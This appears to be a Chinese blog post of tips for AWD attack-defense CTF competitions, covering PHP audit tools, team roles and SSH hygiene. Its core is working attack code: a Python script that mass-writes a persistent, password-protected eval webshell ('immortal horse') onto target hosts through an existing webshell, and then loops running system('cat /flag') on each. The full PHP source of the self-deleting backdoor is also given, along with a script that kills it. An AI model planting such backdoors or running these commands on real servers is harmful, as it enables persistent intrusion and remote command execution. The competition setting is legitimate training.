赞
踩
下载链接:https://github.com/f1tz/cnseay。这个看个人习惯,我用这个源码审计工具体验不是好,但还是推荐给你们。使用方法:
然后结果就在右边。
只能审计php,但用起来挺不错的。下载链接:https://github.com/opensec-cn/chip
使用方法:在shell处输入php chip.phar check "G:\Python_Practice\safy\AWD\chip\html3"
(引号里是要审计的文件路径)即可
其实这个很简单,自己动手也能写,核心就是file_put_contents写入文件。
通过小马写入busi.php(即本地的m.php),访问busi.php后就可以激活不死马。不死马有个密码pass,用来防止别人上车,密码可在m.php处的pass参数自行修改。
import requests import time import re IP = open("url.txt").readlines()#靶机地址放在url.txt中 path = "/" flag = [] def upload_shell(): """ 上传不死马 :return: """ small_file_name = "a.php"#小马文件名 busi_file_name = "busi.php"#不死马文件名 way = "POST" #小马参数方式 par = "a" # 小马参数 file = open("m.php", "r").read()#本地的不死马文件名 if(way=="POST"): for i in IP: i = i.replace("\n","") url = "http://" + i + path small_url = url + small_file_name#小马url data = {par:"file_put_contents(\"busi.php\",\""+file+"\");"}#写入不死马 print(data) requests.post(url=small_url, data=data) print(small_url) print("访问网站" + url + busi_file_name + ",倒计时:") i = 15 while i: i -= 1 print(i) time.sleep(1) else: for i in IP: i = i.replace("\n","") url = "http://" + i + path small_url = url + small_file_name + "?" + par + "=file_put_contents(\"m.php\",\""+file+"\");" requests.get(url = small_url) print(small_url) print("访问网站" + url + busi_file_name + ",倒计时:") i = 15 while i: i -= 1 print(i) time.sleep(1) def get_flag(): """ 通过不死马自动获取flag :return: """ poc = ".shell.php" #不死马位置和poc cmd1 = 'system("cat /flag");' passwd = "fortheone" par = "a"#不死马的参数 data = {"pass":passwd,par:cmd1}#post备用 while (flag): flag.pop() for each_IP in IP: each_IP = each_IP.replace("\n", "") payload = "http://" + each_IP + path + poc s = requests.post(url=payload,data=data) flag.append(re.search('flag{[a-zA-Z0-9]*}',s.text))#自己修改flag前缀 print(payload) print(flag) if __name__ == '__main__': upload_shell() while(True): get_flag() # auto_post() time.sleep(600)#每轮(10分钟)刷新一次flag,自己根据自己的比赛修改一轮的时间
再附上m.php(本地不死马文件,与已经上传但待激活的不死马区分开)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
\$file = './.shell.php';
\$code = '<?php \n if(md5(\$_POST[pass])==\"eabe7c7b92c916f954764d162bc5a39a\"){@eval(\$_POST[a]);} \n';
//fortheone
while (1){
file_put_contents(\$file,\$code);
usleep(50);
}
?>
使用方法如下:
upload_shell
函数中的small_file_name
改成发现的小马文件名,way
改成小马的传参方式(GET或POST)不死马可以自行定制,不过得修改upload_shell.py里的相应参数,而且要记得加上转义符
我这个还有一些缺陷,
4. 如果中间有个机子down了就会报错退出,剩下的机子就不跑了(需要报错处理)
5. 上马需要手动访问一下不死马的页面,脚本访问的话会挂在这个页面很久耽误后面的网站(需要多线程)
6. 缺少自动提交flag的脚本(也挺简单,交flag的时候抓个包,然后照着写就完事了,记得加token)
有时间得改进一下
service nginx stop
、service php7.2-fpm stop
然后即可删除不死马(比赛时肯定权限不够,所以仅适用于自己机子上测试的时候)<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.shell.php';#发现的不死马文件名
while (1){
unlink($file);
usleep(49);#记住,一定要比不死马更快,但不要太小,如果机子撑不住就gg了
}
?>
推荐MobaXterm,下载链接为https://mobaxterm.mobatek.net/
这个可以从左边的窗口直接拖源码下来,非常舒服
介绍使用方法:
这样就可以本地修然后直接上传覆盖,能解决语法问题,也相当于备份了,被人家删站之后也可以更快上线
我这里有几个waf,但是由于是其他师傅写的,不敢乱给,见谅XD,waf的作用一般就是防止别人种马或者删站,网上找找应该也有
一般来说都是2web1pwn,我们省赛有5人,一人一个web机,审洞,找到洞就把exp给第三个人用脚本跑,交flag(一般都是脚本自动提交)。,然后着手修洞。
一定要修改ssh密码!!一定要修改ssh密码!!一定要修改ssh密码!!
重要的事情说三遍!
由于这次省赛所有队伍ssh密码都一样,有的队伍被改了ssh密码,直接上不去了,当机器机挨打刷分,这是最惨的。
由于我都水平有限,还有挺多东西我不会的,比如数据库的维护、种马之后的维权、日志分析等等,以后学到了新东西还会更新的(大概),也欢迎各位能分享我一些有用的工具,毕竟好东西不嫌多嘛(斜眼笑。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。